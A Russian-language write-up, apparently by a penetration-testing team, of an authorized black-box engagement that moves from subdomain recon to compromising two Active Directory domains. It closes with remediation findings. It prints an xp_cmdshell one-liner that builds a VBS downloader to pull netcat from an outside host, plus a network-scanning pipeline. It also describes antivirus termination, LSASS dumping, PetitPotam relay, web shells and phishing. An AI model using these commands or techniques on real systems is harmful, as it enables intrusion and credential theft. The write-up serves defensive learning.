Black Box пентест: как один домен привел к полной компрометации инфраструктуры

Сегодня мы поделимся опытом проведения внешнего black-box пентеста и разберем рабочую методологию, которая позволяет «уронить» внутреннюю сеть, имея на старте абсолютный минимум информации.

Статью мы разбили на две логические части: в первой я расскажу, как мы ломали внешний периметр, а во второй мой коллега подхватит историю и объяснит, как мы добивали внутреннюю инфраструктуру.

Дисклеймер: Black-box — это формат, когда у пентестера нет вообще ничего: ни списков IP, ни кредов, ни схемы сети. Только имя домена и карт-бланш на действия. Звучит как ограничение, но на практике это огромный плюс: мы смотрим на компанию глазами реального, мотивированного злоумышленника.

Наша цель в этом проекте была предельно конкретной — проверить, можно ли пролезть во внутреннюю инфраструктуру заказчика через публичные веб-приложения. Забегая вперед: можно. Погнали.

1. Разведка: копаем вширь
Первый этап любого пентеста - сбор информации о целевом домене. Здесь работает простое правило: чем больше сабдоменов найдено, тем лучше.
Для пассивного сбора информации использовались следующие инструменты:
  • sublist3r
  • dnsrecon
  • VirusTotal
  • crt.sh
На выходе получили около 40 уникальных сабдоменов. Поверхность атаки расширилась, появилось пространство для маневра.
Профессиональное наблюдение: не пренебрегайте разными источниками. Если sublist3r и VirusTotal шерстят публичные индексы, то crt.sh лезет в логи прозрачности сертификатов (Certificate Transparency logs). На практике именно crt.sh сливает то, что скрыто от глаз классических сканеров: тестовые стенды, «временные» домены для интеграций и внутренние сервисы, которые кто-то забыл закрыть от внешнего мира. 
Анализ логики приложений

Рекон — это не просто выгрузка списков, это понимание логики бизнеса. Нам важно понять: кто целевая аудитория сервиса? Какой упор сделан на UX? Чем разработчики могли пожертвовать ради удобства пользователей?

Мы наткнулись на сабдомен с системой дистанционного обучения. Интерфейс прямо кричал, что им пользуются люди, далекие от ИТ: упрощенный дизайн, гигантские кнопки, режимы для слабовидящих и тонны подсказок. Когда во главе угла стоит максимальная доступность для нетехнологичной аудитории, безопасностью жертвуют в 90% случаев.

Так и вышло. На сайте лежал открытый гостевой доступ, внутри которого обнаружилась классическая IDOR-уязвимость. Из нее мы успешно вытащили не только учетные данные пользователей, но и креды от базы данных.

2. Домен, который открыл все
Однако главным джекпотом стал скромный test-домен.ru. С виду — обычная заглушка, но быстрый анализ показал, что под капотом крутится CMS Joomla.
test-домен
Публичная форма авторизации была мертва, кнопки не реагировали, но админка Joomla (/administrator) оказалась заботливо открыта для всего интернета. Попытка брутфорса «на удачу» заняла всего пару секунд и — бинго! Мы внутри админки.

Сам интерфейс панели управления поехал и отображался криво, но бэкенду было все равно — он исправно выполнял команды. Мы перешли в редактор шаблонов сайта и внедрили в один из php-файлов свой код. Привет, стабильный RCE.
Выполнение команд
Работать через куцый веб-шелл неудобно, поэтому мы сразу кинули reverse shell на наш VDS-сервер.
Исследование сервера

Осмотревшись на сервере, мы поняли следующее:
Это хостинг-нода.
Там крутится порядка 20 сайтов.
Часть из них принадлежит дочерним компаниям (формально — out of scope, руками не трогаем).
Изначально мы закрепились с правами скромного пользователя www-data. Локальный рекон с помощью старого доброго linpeas подсветил уязвимость PwnKit (CVE-2021-4034). Скрипт, запуск, пара секунд — и у нас в терминале горит заветная решетка root.
получение root'a
Мы сразу создали своего привилегированного пользователя в системе и пошли шерстить конфигурационные файлы. Поскольку сервер крутился на внешнем VDS, прямого маршрута во внутреннюю сеть заказчика у нас все еще не было. Значит, выжимаем из этого хоста максимум.

3. Фишинг: игра на человеческих слабостях
Чтобы продвинуться дальше, мы согласовали с заказчиком проведение фишинговой атаки. У нас на руках уже были доступы к базам данных всех сайтов на хостинге, а значит, мы могли легитимно создавать учетки администраторов на этих ресурсах.
База данных одного из сайтов
В одном из конфигов мы откопали креды админа корпоративной почты (Roundcube). Это открыло доступ к внутренней переписке и дало возможность сбрасывать пароли сотрудников на других внешних порталах компании.
Получение доступа к почтовику
Реализация атаки
Мы развернули фишинговую форму авторизации на одном из реальных корпоративных сайтов (благо, доступ к исходникам у нас был). Форма, разумеется, аккуратно складывала влоги все вводимые данные.

Для сотрудников ловушка выглядела идеально: легитимный домен, знакомый интерфейс, а письмо-приглашение пришло от доверенного отправителя, с которым они общаются ежедневно. После рассылки мы быстро собрали валидные учетные данные сотрудников.
Набросок фишинговой рассылки
4. SQL-инъекция, которая изменила все
Параллельно на другом сабдомене была найдена time-based SQL-инъекция. В первый день мы не придали ей значения — крутить «слепую» инъекцию долго и больно. Однако повторный ручной анализ показал, что уязвим еще один соседний параметр. Скомбинировав их, мы применили технику HTTP Parameter Fragmentation и смогли разогнать ее до полноценной UNION-инъекции.
Вывод бд
Дальнейший интерактив с БД показал, что наши запросы выполняются с максимальными привилегиями (sa). Сама СУБД — древняя Microsoft SQL Server 2005. Для пентестера это звучит как праздник, ведь в таких legacy-версиях велика вероятность, что процедура xp_cmdshell включена по умолчанию или легко активируется.
Вывод бд
Проверяем наличие процедуры — да, она на месте. Но при попытке выполнить классические whoami или dir в ответ получаем гробовое молчание и NULL. Шеллы не отрабатывали.

Тогда мы решили проверить, долетают ли команды до ОС в принципе. Запустили tcpdump на нашем VDS и отправили пинг с сервера БД. Пакеты пошли! Команды выполняются, просто мы не видим их вывод в веб-интерфейсе (blind RCE).
Подтверждение выполнения команд
Эксплуатация
xp_cmdshell - расширенная хранимая процедура, позволяющая выполнять команды ОС. На старых версиях (MSSQL 2005) она часто включена по умолчанию.

Проблема legacy-окружения:
  • MSSQL 2005 x86 работает только на Windows Server 2003 / 2003 R2
  • Нет PowerShell, урезанный cmd, отсутствуют curl/wget/certutil
  • Единственный надежный вектор доставки полезной нагрузки - VBS-скрипты

Через VBS-скрипт был загружен NetCat.

EXEC xp_cmdshell 'echo Set objXML = CreateObject("MSXML2.XMLHTTP") > download.vbs && echo objXML.Open "GET", "http://IP:4444/nc.exe", False >> download.vbs && echo objXML.Send >> download.vbs && echo If objXML.Status = 200 Then >> download.vbs && echo Set objStream = CreateObject("ADODB.Stream") >> download.vbs && echo objStream.Open >> download.vbs && echo objStream.Type = 1 >> download.vbs && echo objStream.Write objXML.ResponseBody >> download.vbs && echo objStream.SaveToFile "nc.exe", 2 >> download.vbs && echo objStream.Close >> download.vbs && echo End If >> download.vbs'

Далее получаем обратную оболочку.

Точка входа: есть доступ, нет опоры.
Для организации стабильного канала во внутреннюю инфраструктуру мы использовали проверенную схему туннелирования, которую подробно описывали коллеги из «Deiteriy Lab» (схема ниже). Метод безотказный, рекомендуем добавить в свой арсенал.
Общая схема туннелирования
На старте «внутрянки» у нас был настроенный туннель и RDP-доступ к одному из серверов. Типичная точка входа. На целевой машине крутился Kaspersky, но, к нашему удивлению, его процессы без лишнего шума завершились через обычный Диспетчер задач.

Мы сразу закинули на хост Mimikatz, чтобы по-быстрому собрать учетные данные из памяти (сняли SAM и дамп LSASS). Но улов оказался скромным: хэш локального админа и одна доменная учетка без каких-либо вменяемых прав. Плюс ко всему, сама машина не была в домене. Использовать ее как плацдарм для масштабного наступления не получалось, нужно было копать глубже.

1. Внутренняя разведка: когда быстрый путь не сработал
Раз не вышло взять сеть нахрапом, возвращаемся к базе — рекону. В ходе ленивого изучения окружения выяснилось, что сеть разделена на два сегмента, каждый из которых контролируется своим доменом: Corp.local.ru (основной) и Sub.corplocal.ru (дочерний/прикладной). Доверительных отношений между ними не было.

Используя учетку рядового пользователя из основного домена, мы начали аккуратно сканировать сеть. Чтобы не создавать лишнего шума в логах СЗИ, мы действовали поэтапно:
  1. Сначала через fping нащупали живые хосты.
  2. Затем точечно прошлись по ним с помощью nmap и netexec, собирая инфу об ОС и запущенных сервисах.
  3. Для поиска внутренних веб-ресурсов запустили стандартный и эффективный пайплайн: masscan + nmap + EyeWitness.
Выглядело это так:
Bash
# Быстро сканируем веб-порты по всей сети
masscan -p 80,443,8080,8443,8000 -i eth0 | tee web_ports.txt

# Вытаскиваем чистые IP-адреса
cat web_ports.txt | awk {'print $6'} | sort | uniq > web_hosts.txt

# Собираем подробные данные по сервисам в XML
nmap -p 80,443,8080,8443,8000 -iL web_hosts.txt -oX nmap_scan_web.xml

# Натравливаем EyeWitness для генерации скриншотов веб-интерфейсов
eyewitness -x nmap_scan_web.xml -d eyew –web

Параллельно мы собрали данные для BloodHound, выгрузили списки пользователей, групп, доступные SMB-шары и параметры парольной политики. И тут фортуна нам улыбнулась.

2. Первый серьезный зацеп: Его Величество Человеческий Фактор
Самые критичные уязвимости — это почти всегда не баги в коде, а банальные операционные ошибки администраторов. Этот кейс — отличное тому подтверждение.
Среди сетевых ресурсов мы обнаружили SMB-шару с говорящим названием FREENAS. Наша базовая доменная учетка (напомню, без каких-либо админских прав) имела туда полный доступ на чтение и запись.
Найденная "шара"
Внутри сетевой шары лежал каталог с бэкапами конфигурации сервера мониторинга Zabbix.
Архивы директории /etc
Распаковав один из архивов, мы наткнулись на святой Грааль любого линуксоида — файл /etc/shadow с хэшами паролей локальных пользователей.

Файл /etc/shadow

Мы скормили эти хэши утилите JohnTheRipper. Буквально через пару минут брута по словарям мы получили чистый пароль от пользователя root.

Результат атаки на hash пароля

Мы тут же проверили этот пароль: доступ по SSH к серверу Zabbix прошел успешно. Но мы пошли дальше. В ИТ-инфраструктурах админы часто грешат повторным использованием паролей (password reuse). Мы проверили этот root-пароль методом password spraying на других узлах сети. На доменных учетках это не сработало, зато этот пароль подошел к учетным записям локальных администраторов на множестве других машин сразу в обоих доменах.

Password spraying

3. Закрепление и атака PetitPotam
Получить локального администратора — приятно. Понять, что это не дает продвижения — уже менее приятно.

Мы разделились: коллега остался плотно заниматься основным доменом, а я сфокусировался на дочернем Sub.corplocal.ru, где у нас теперь был локальный админ на одном из серверов.
Зайдя по RDP и прибив антивирус, я снова натравил Mimikatz на LSASS, но чуда не произошло — ничего, кроме NTLM-хэша машинной учетки, вытащить не удалось. Пришлось менять вектор атаки.

Вывод Mimikatz

Принудительная аутентификация и NTLM Relay

Когда прямые методы не работают, приходится заставлять систему «атаковать саму себя».

В этот момент мы решили сменить подход и поискать уязвимости, связанные с принудительной аутентификацией и relay-атаками. Довольно быстро нашлась связка: машина, уязвимая к PetitPotam, и цель, на которую можно было зарелейтить аутентификацию. Дальше все развивалось по классическому сценарию. В одном терминале запустил Impacket-ntlmrelayx.
А в другом запустил эксплуатацию уязвимости PetitPotam скриптом, взятым отсюда (https://github.com/topotam/PetitPotam).

Атака PetitPotam

Атака отработала идеально. Мы получили доступ к целевой системе через SMB-шелл. И хотя выполнять произвольные команды напрямую через этот шелл было нельзя, у нас появилась возможность читать и записывать файлы в систему. А большего нам и не требовалось.

От записи файлов к полному RCE
Иногда между «у меня есть доступ к файлам» и «у меня есть полный контроль» — всего один шаг. Важно его вовремя увидеть.

В файловой системе атакуемого хоста мы нашли директорию C:\inetpub\wwwroot — это корень веб-сервера IIS. Имея права на запись, мы просто закинули туда стандартный ASPX веб-шелл (использовали популярный вариант от xl7dev).

Обратившись к веб-шеллу через браузер, мы получили полноценное удаленное выполнение команд (RCE) с правами веб-сервиса.
4. Эскалация привилегий: почти максимум — это еще не максимум

Первым делом проверяем свои права в системе через whoami /priv. Находим флаг SeImpersonatePrivilege. В мире Windows это практически стопроцентный билет до максимальных прав NT AUTHORITY\SYSTEM.
Попытки использовать стандартные «картофельные» эксплойты (семейство Potato) почему-то не зажглись (вероятно, из-за особенностей окружения), поэтому мы пошли проверенным путем. Забросили в систему полезную нагрузку от Meterpreter (Metasploit Framework), поймали обратное соединение и внутри сессии выполнили команду getsystem. Эксплойт успешно подменил токен, и мы получили интерактивный шелл с максимальными правами в ОС.
Критическая точка: домен начинает «сыпаться»
Имея права SYSTEM, мы повторно запускаем Mimikatz на этой машине. И вот она, долгожданная удача: из процесса LSASS мы в открытом виде достаем NTLM-хэш пароля
Администратора Домена.

Используя эти привилегии, мы без труда выгрузили файл NTDS.dit (базу данных Active Directory со всеми хэшами пользователей). Домен Sub.corplocal.ru официально перешел под наш полный контроль.
5. Масштабирование атаки: собираем «низко висящие фрукты»

Возвращаемся на помощь к коллегам, которые штурмовали основной домен Corp.local.ru. Мы решили пойти по самому простому пути, который часто недооценивают: взяли свежедобытые хэши пользователей из дочернего домена и прогнали их через password spraying по списку учетных записей основного домена.
Результат превзошел ожидания: сразу две учетные записи в основном домене имели точно такие же пароли и, что самое главное, обладали правами Domain Admin.
Дальше — дело техники: классический Pass-the-Hash, подключение к контроллеру домена основного сегмента и повторный дамп NTDS.dit. Цель заказчика достигнута: оба домена полностью скомпрометированы.

Выводы: компрометация — это всегда цепочка, а не одна ошибка
Если посмотреть на этот кейс со стороны, становится очевидно: мы не использовали уязвимости нулевого дня (Zero-Day) и не писали сложный кастомный малварь для обхода проактивной защиты. Вся атака — это классический пример накопительного эффекта от серии мелких организационных и технических недочетов.

Ключевая проблема — в накопительном эффекте. Каждая отдельная слабость выглядела не критичной:
  • резервные копии с чувствительными данными оказались доступны из сети,
  • пароль root был слабым и быстро подобрался,
  • этот же пароль использовался повторно на других системах,
  • локальные администраторы имели избыточные права,
  • в инфраструктуре оставались уязвимости уровня PetitPotam,
  • присутствовали привилегии вроде SeImpersonatePrivilege, позволяющие эскалацию.
По отдельности это типичные «средние» проблемы. Но в связке они образовали непрерывную цепочку атаки — от одной скомпрометированной машины вне домена до полного контроля над двумя доменами.

Отдельно стоит отметить, что отсутствие доверительных отношений между доменами не стало сдерживающим фактором. На практике безопасность инфраструктуры определяется не только архитектурными решениями, но и операционной дисциплиной. Повторное использование паролей и слабый контроль учетных данных свели на нет сегментацию на уровне доменов.

Обратите внимание на то, что я могу выполнять команды от системы

А дальше классика:
  • Создание пользователя
  • Внесение его в нужные нам группы

Наш привилегированный пользователь

Далее пробрасываем порты и подключаемся по RDP.
Цепочка атакиRecon → Subdomains → Joomla brute-force → RCE → root → configs → mail access → phishing → creds → SQLi → xp_cmdshell → reverse shell → RDP → domain compromise

Ключевые ошибки инфраструктуры, которые предопределили исход:

  1. Отсутствие базовой гигиены на внешнем периметре: открытая наружу админка CMS на тестовом стенде и отсутствие ограничений на количество попыток авторизации.
  2. Использование legacy-систем: старая версия MSSQL 2005 с включенной опасной процедурой xp_cmdshell.
  3. Избыточные права на сетевых ресурсах: рядовой доменный пользователь не должен иметь прав на чтение резервных копий критически важных ИТ-систем (Zabbix).
  4. Повторное использование паролей (Password Reuse): один и тот же сложный пароль использовался для root на Linux-сервере и для локальных администраторов на Windows-хостах.
  5. Отсутствие патч-менеджмента: уязвимости вроде PetitPotam и PwnKit до сих пор встречаются в продакшене, позволяя атакующим быстро повышать привилегии.
Все найденные уязвимости и архитектурные недостатки были подробно описаны и переданы заказчику вместе с рекомендациями по устранению. На данный момент все бреши закрыты, парольные политики пересмотрены, а сегментация сети усилена.